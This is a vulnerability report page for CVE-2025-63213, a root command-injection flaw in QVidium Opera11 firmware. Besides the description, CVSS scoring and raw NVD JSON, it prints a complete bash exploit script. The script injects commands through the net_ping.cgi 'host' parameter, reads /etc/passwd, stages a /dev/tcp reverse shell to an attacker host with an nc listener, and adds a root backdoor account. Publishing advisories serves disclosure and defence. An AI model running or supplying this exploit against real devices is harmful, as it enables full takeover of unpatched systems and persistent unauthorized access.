Security Vulnerability Report
中文
CVE-2025-63213 CVSS 9.8 CRITICAL

CVE-2025-63213

Published: 2025-11-19 20:15:54
Last Modified: 2026-01-15 18:49:02

Description

The QVidium Opera11 device (firmware version 2.9.0-Ax4x-opera11) is vulnerable to Remote Code Execution (RCE) due to improper input validation on the /cgi-bin/net_ping.cgi endpoint. An attacker can exploit this vulnerability by sending a specially crafted GET request with a malicious parameter to inject arbitrary commands. These commands are executed with root privileges, allowing attackers to gain full control over the device. This poses a significant security risk to any device running this software.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:qvidium:opera11_firmware:2.9.0-ax4x-opera11:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:qvidium:opera11:-:*:*:*:*:*:*:* - NOT VULNERABLE
QVidium Opera11 固件版本 2.9.0-Ax4x-opera11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-63213 PoC - QVidium Opera11 RCE # Target: QVidium Opera11 device (firmware 2.9.0-Ax4x-opera11) # Endpoint: /cgi-bin/net_ping.cgi # This PoC demonstrates command injection vulnerability TARGET=$1 PORT=${2:-80} if [ -z "$TARGET" ]; then echo "Usage: $0 <target_ip> [port]" echo "Example: $0 192.168.1.100 80" exit 1 fi echo "[*] CVE-2025-63213 QVidium Opera11 RCE PoC" echo "[*] Target: $TARGET:$PORT" # Method 1: Basic command injection to test vulnerability PAYLOAD1=";id;" echo "[+] Testing basic command injection..." curl -s "http://$TARGET:$PORT/cgi-bin/net_ping.cgi?host=$PAYLOAD1" | head -20 # Method 2: Read sensitive file (if vulnerable) PAYLOAD2=";cat/etc/passwd;" echo "[+] Attempting to read /etc/passwd..." curl -s "http://$TARGET:$PORT/cgi-bin/net_ping.cgi?host=$PAYLOAD2" | head -20 # Method 3: Reverse shell payload (replace LHOST/LPORT) LHOST="attacker_ip" LPORT="4444" PAYLOAD3=";bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1;" echo "[!] Reverse shell payload prepared (not executed automatically)" echo "[!] Run: curl -s 'http://$TARGET:$PORT/cgi-bin/net_ping.cgi?host=$PAYLOAD3'" echo "[!] Start listener: nc -lvnp $LPORT" # Method 4: Create backdoor user echo "[+] Attempting to create backdoor..." PAYLOAD4=";echo 'admin:x:0:0::/root:/bin/bash' >> /etc/passwd;" curl -s "http://$TARGET:$PORT/cgi-bin/net_ping.cgi?host=$PAYLOAD4" 2>/dev/null echo "[+] PoC execution completed" echo "[!] Note: Modify payloads as needed for your testing"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63213", "sourceIdentifier": "[email protected]", "published": "2025-11-19T20:15:53.523", "lastModified": "2026-01-15T18:49:01.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The QVidium Opera11 device (firmware version 2.9.0-Ax4x-opera11) is vulnerable to Remote Code Execution (RCE) due to improper input validation on the /cgi-bin/net_ping.cgi endpoint. An attacker can exploit this vulnerability by sending a specially crafted GET request with a malicious parameter to inject arbitrary commands. These commands are executed with root privileges, allowing attackers to gain full control over the device. This poses a significant security risk to any device running this software."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:qvidium:opera11_firmware:2.9.0-ax4x-opera11:*:*:*:*:*:*:*", "matchCriteriaId": "CE29C8BD-5F3E-4BA2-B9C0-28352C5EE589"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:qvidium:opera11:-:*:*:*:*:*:*:*", "matchCriteriaId": "A1E887FD-6AEF-47CC-B20A-904F648619FF"}]}]}], "references": [{"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63213_QVidium%20Opera11%20RCE", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://qvidium.tv/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://undercodetesting.com/zero-day-vulnerabilities-discovered-in-qvidium-opera11-remote-code-execution-rce-exploit/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63213_QVidium%20Opera11%20RCE", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}